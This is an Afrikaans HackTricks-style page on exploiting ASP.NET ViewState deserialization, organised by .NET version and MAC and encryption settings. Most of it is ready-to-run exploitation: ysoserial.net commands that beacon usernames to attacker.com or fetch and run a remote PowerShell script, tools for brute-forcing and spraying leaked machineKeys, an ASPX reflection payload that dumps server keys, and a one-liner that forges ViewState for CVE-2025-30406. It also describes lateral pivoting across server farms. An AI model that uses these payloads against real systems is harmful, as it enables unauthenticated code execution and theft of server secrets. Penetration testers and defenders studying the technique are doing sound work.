Uitbuiting van __VIEWSTATE sonder om die geheime te ken
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wat is ViewState
ViewState dien as die standaardmeganisme in ASP.NET om bladsy- en kontrolelnedata oor webbladsye te behou. Tydens die rendering van ân bladsy se HTML word die huidige toestand van die bladsy en waardes wat tydens ân postback bewaar moet word, geserialiseer in base64-geĂ«nkodeerde stringe. Hierdie stringe word dan in versteekte ViewState-velde geplaas.
ViewState-inligting kan gekarakteriseer word deur die volgende eienskappe of hul kombinasies:
- Base64:
- Hierdie formaat word gebruik wanneer albei
EnableViewStateMacenViewStateEncryptionModeattributen op false gestel is. - Base64 + MAC (Message Authentication Code) Enabled:
- MAC word geaktiveer deur die
EnableViewStateMacattribuut op true te stel. Dit bied integriteitsverifikasie vir ViewState-data. - Base64 + Encrypted:
- Enkripsie word toegepas wanneer die
ViewStateEncryptionModeattribuut op true gestel is, wat die vertroulikheid van ViewState-data verseker.
Toetsgevalle
Die beeld is ân tabel wat verskillende konfigurasies vir ViewState in ASP.NET uitbeeld gebaseer op die .NET-frameworkweergawe. Hier is ân opsomming van die inhoud:
- Vir enige .NET-weergawe, wanneer beide MAC en Enkripsie gedeaktiveer is, is ân MachineKey nie nodig nie, en is daar dus geen toepaslike metode om dit te identifiseer nie.
- Vir weergawes onder 4.5, as MAC geaktiveer is maar Enkripsie nie, word ân MachineKey benodig. Die metode om die MachineKey te identifiseer word verwys as âBlacklist3r.â
- Vir weergawes onder 4.5, ongeag of MAC geaktiveer of gedeaktiveer is, indien Enkripsie geaktiveer is, is ân MachineKey benodig. Die identifikasie van die MachineKey is ân taak vir âBlacklist3r - Future Development.â
- Vir weergawes 4.5 en hoĂ«r vereis alle kombinasies van MAC en Enkripsie (of beide true is, of een true en die ander false) ân MachineKey. Die MachineKey kan geĂŻdentifiseer word met behulp van âBlacklist3r.â
Toetsgeval: 1 â EnableViewStateMac=false and viewStateEncryptionMode=false
Dit is ook moontlik om die ViewStateMAC heeltemal te deaktiveer deur die AspNetEnforceViewStateMac registerwaarde op nul te stel in:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
Identifisering van ViewState-eienskappe
Jy kan probeer bepaal of ViewState deur MAC beskerm word deur ân versoek wat hierdie parameter bevat met BurpSuite vas te vang. As MAC nie gebruik word om die parameter te beskerm nie, kan jy dit exploit met YSoSerial.Net
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Test case 1.5 â Soos Test case 1 maar die ViewState cookie word nie deur die bediener gestuur nie
Ontwikkelaars kan verwyder ViewState sodat dit nie deel van ân HTTP Request word nie (die gebruiker sal hierdie cookie nie ontvang nie).
Men mag aanneem dat as ViewState nie teenwoordig is nie, hul implementering veilig is teen enige potensiële kwesbaarhede wat voortspruit uit ViewState deserialization.
Dit is egter nie die geval nie. As ons die ViewState parameter by die request body voeg en ons serialized payload wat met ysoserial geskep is stuur, sal ons steeds in staat wees om code execution te bewerkstellig soos in Case 1 aangetoon.
Toetsgeval: 2 â .Net < 4.5 en EnableViewStateMac=true & ViewStateEncryptionMode=false
Om ViewState MAC vir ân specific page te enable, moet ons die volgende veranderinge aan ân spesifieke aspx-lĂȘer maak:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
Ons kan dit ook vir die algehele toepassing doen deur dit in die web.config-lĂȘer soos hieronder getoon in te stel:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
Aangesien die parameter hierdie keer deur ân MAC beskerm is, moet ons eers die gebruikte sleutel hĂȘ om die aanval suksesvol uit te voer.
Jy kan probeer om Blacklist3r(AspDotNetWrapper.exe) te gebruik om die gebruikte sleutel te vind.
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets is nog ân instrument wat bekende machineKeys kan identifiseer. Dit is in Python geskryf, dus in teenstelling met Blacklist3r is daar geen Windows-afhanklikheid nie. Vir .NET viewstates is daar ân âpython blacklist3râ hulpmiddel, wat die vinnigste manier is om dit te gebruik.
Dit kan Ăłf direk voorsien word van die viewstate en generator:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

Of, dit kan direk aan die teiken-URL koppel en probeer die viewstate uit die HTML uittrek:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

Om kwesbare viewstates op skaal te soek, saam met subdomain enumeration, kan die badsecrets BBOT module gebruik word:
bbot -f subdomain-enum -m badsecrets -t evil.corp

As jy gelukkig is en die key gevind word, kan jy met die attack voortgaan deur YSoSerial.Net:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
In gevalle waar die _VIEWSTATEGENERATOR parameter nie deur die bediener gestuur word nie, hoef jy nie die --generator parameter te verskaf, maar hierdie:
--apppath="/" --path="/hello.aspx"
Uitbuiting van hergebruikte <machineKey>-waardes op skaal
Ink Dragon (2025) het getoon hoe gevaarlik dit is wanneer administrateurs die voorbeeld <machineKey>-blokke wat in Microsoft docs, StackOverflow-antwoorde of vendor blogs gepubliseer is, kopieer. Sodra ân enkele teiken die sleutels leaks of oor die farm hergebruik, kan enige ander ASP.NET-bladsy wat ViewState vertrou, op afstand gekaap word sonder enige addisionele kwesbaarheid.
- Bou ân kandidaatwoordlys met die leaked
validationKey/decryptionKeypare (bv. skraap openbare repos, Microsoft blogposte, of sleutels wat van een gasheer in die farm herstel is) en voer dit in Blacklist3r/Badsecrets in:
AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
# or let Badsecrets spray the list
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld
Die gereedskap onderteken herhaaldelik ân goedaardige __VIEWSTATE-blob met elke kandidaat-sleutel totdat die bediener die MAC aanvaar, wat bewys dat die sleutel geldig is.
2. Maak die kwaadwillige ViewState sodra die sleutelpaar bekend is. As enkripsie gedeaktiveer is benodig jy net die validationKey. As enkripsie geaktiveer is, sluit die ooreenstemmende decryptionKey in sodat die payload die decrypt â deserialize-pad oorleef:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
--validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>
Operators plaas dikwels skyf-gebaseerde launchers (bv. PrintNotifyPotato, ShadowPad loaders, ens.) reg in die payload omdat dit uitgevoer word as die IIS worker (w3wp.exe).
3. Pivot lateraal deur dieselfde <machineKey> oor suster SharePoint/IIS-nodes te hergebruik. Sodra een bediener gekompromitteer is, kan jy die sleutel hergebruik om elke ander bediener te tref wat nooit sy konfigurasie geroteer het nie.
Toetsgeval: 3 â .Net < 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true
In hierdie geval is dit nie bekend of die parameter met ân MAC beskerm is nie. Dan is die waarde waarskynlik geĂ«nkripteer en jy sal die Machine Key nodig hĂȘ om jou payload te enkripteer om die kwesbaarheid te eksploiteer.
In hierdie geval is die Blacklist3r module in ontwikkelingâŠ
Voor .NET 4.5, kan ASP.NET ân unencrypted ___VIEWSTATE_ parameter van gebruikers aanvaar selfs as ViewStateEncryptionMode op Always gestel is. ASP.NET kyk net na die teenwoordigheid van die __VIEWSTATEENCRYPTED parameter in die versoek. As hierdie parameter verwyder word en die ongeĂ«nkripteerde payload gestuur word, sal dit steeds verwerk word.
Daarom, as die aanvallers ân manier vind om die Machinekey via ân ander vuln soos file traversal te kry, kan die YSoSerial.Net opdrag wat in Case 2 gebruik is, gebruik word om RCE uit te voer met behulp van die ViewState deserialization-kwesbaarheid.
- Verwyder die
__VIEWSTATEENCRYPTEDparameter uit die versoek om die ViewState deserialization-kwesbaarheid te eksploiteer, anders sal dit ân Viewstate MAC validation error teruggee en die eksploitasie sal misluk.
Toetsgeval: 4 â .Net >= 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true/false behalwe beide attributte vir false
Ons kan die gebruik van die ASP.NET-framework afdwing deur die onderstaande parameter binne die web.config-lĂȘer te spesifiseer soos hieronder getoon.
<httpRuntime targetFramework="4.5" />
Alternatiewelik kan dit gedoen word deur die onderstaande opsie in die machineKey-parameter van die web.config-lĂȘer te spesifiseer.
compatibilityMode="Framework45"
Soos in die vorige, is die waarde versleuteld. Dan, om ân valid payload te stuur, benodig die attacker die key.
Jy kan probeer om Blacklist3r(AspDotNetWrapper.exe) te gebruik om die key wat gebruik word te vind:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
Vir ân meer gedetailleerde beskrywing van IISDirPath en TargetPagePath refer here
Of, met Badsecrets (met ân generatorwaarde):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

Sodra ân geldige Machine key geĂŻdentifiseer is, die volgende stap is om ân serialized payload te genereer met behulp van YSoSerial.Net
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
As jy die waarde van __VIEWSTATEGENERATOR het kan jy probeer om die --generator parameter met daardie waarde te gebruik en die parameters --path en --apppath te weglating

ân Suksesvolle benutting van die ViewState deserialisasie kwesbaarheid sal lei tot ân out-of-band versoek na ân aanvallersbeheerde bediener, wat die gebruikersnaam insluit. Hierdie soort exploit word gedemonstreer in ân proof of concept (PoC) wat gevind kan word in die hulpbron getiteld âExploiting ViewState Deserialization using Blacklist3r and YsoSerial.NETâ. Vir meer besonderhede oor hoe die benuttingsproses werk en hoe om gereedskap soos Blacklist3r te gebruik om die MachineKey te identifiseer, kan jy die beskikbare PoC of Successful Exploitation raadpleeg.
Test Case 6 â ViewStateUserKeys word gebruik
Die ViewStateUserKey eienskap kan gebruik word om teen ân CSRF attack te verdedig. As so ân sleutel in die toepassing gedefinieer is en ons probeer die ViewState payload genereer met die metodes wat tot nou bespreek is, sal die payload nie deur die toepassing verwerk word nie.
Jy moet een ekstra parameter gebruik om die payload korrek te skep:
--viewstateuserkey="randomstringdefinedintheserver"
Resultaat van ân Suksesvolle Uitbuiting
Vir al die toetsgevalle, as die ViewState YSoSerial.Net payload suksesvol werk, reageer die bediener met â500 Internal server errorâ met reaksie-inhoud âThe state information is invalid for this page and might be corruptedâ en ons kry die OOB request.
Uitlees van ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)
Aanvallers wat in staat is om upload or execute arbitrary ASPX code binne die teiken web root uit te voer, kan direk die geheime sleutels wat __VIEWSTATE beskerm retrieve in plaas van dit te bruteforcing.
ân minimale payload wat die keys leak, benut interne .NET-klasses deur reflection:
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
Wanneer die bladsy aangevra word, toon dit die ValidationKey, DecryptionKey, die enkripsie-algoritme en die ASP.NET compatibility mode. Hierdie waardes kan nou direk in ysoserial.net ingevoer word om ân geldige, ondertekende __VIEWSTATE gadget te skep:
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
This key-exfiltration primitive is in 2025 massaal misbruik op on-prem SharePoint-bedieners aangewend (âToolShellâ â CVE-2025-53770/53771), maar dit is van toepassing op enige ASP.NET-toepassing waar ân aanvaller bedienerkant-kode kan uitvoer.
2024-2025 Werklike-uitbuitingscenarioâs en Hard-gekodeerde Machine Keys
Microsoft âopenbaar bekendgemaakte machine keysâ golf (Dec 2024 â Feb 2025)
Microsoft Threat Intelligence het massale uitbuiting van ASP.NET-webwerwe gerapporteer waar die machineKey voorheen op publieke bronne leaked is (GitHub gists, blog posts, paste sites). Teenstanders het hierdie sleutels geënumeer en geldige __VIEWSTATE gadgets gegenereer met die nuwer ysoserial.net 1.41 --minify en --islegacy vlagte om WAF-lengtegrense te ontduik:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
Teikens wat steeds dieselfde statiese sleutels oor farms hergebruik, bly oneindig kwesbaar; sodra hulle na AutoGenerate-waardes migreer, verval die spray technique, dus prioritiseer legacy deployments wat steeds hard-coded materiaal blootstel.
CVE-2025-30406 â Gladinet CentreStack / Triofox hard-coded keys
Kudelski Security het ontdek dat verskeie CentreStack / Triofox-releases met identiese machineKey-waardes verskaf is, wat unauthenticated remote code execution deur ViewState forgery (CVE-2025-30406) moontlik maak.
Eenreël exploit:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
Gerepareer in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 â opgradeer of vervang die sleutels onmiddellik.
Verwysings
- Uitbuiting van ViewState deserialisering using Blacklist3r and YSoSerial.NET
- Diepduik in .NET ViewState deserialisering en die uitbuiting daarvan
- Uitbuiting van deserialisering in ASP.NET via ViewState (Soroush Dalili, 2019)
- Inleiding tot badsecrets â vinnige machineKey-ontdekking
- SharePoint âToolShellâ uitbuitingketting (Eye Security, 2025)
- Microsoft Security â Kode-inspuitingaanvalle misbruik makende van publiek bekendgemaakte ASP.NET machine keys (Feb 6 2025)
- Kudelski Security advisory â Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
- SharePoint âToolShellâ exploitation chain (Eye Security, 2025)
- Check Point Research â Inside Ink Dragon: Blootlegging van die relaisnetwerk en interne werksaamhede van ân sluipende offensiewe operasie
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

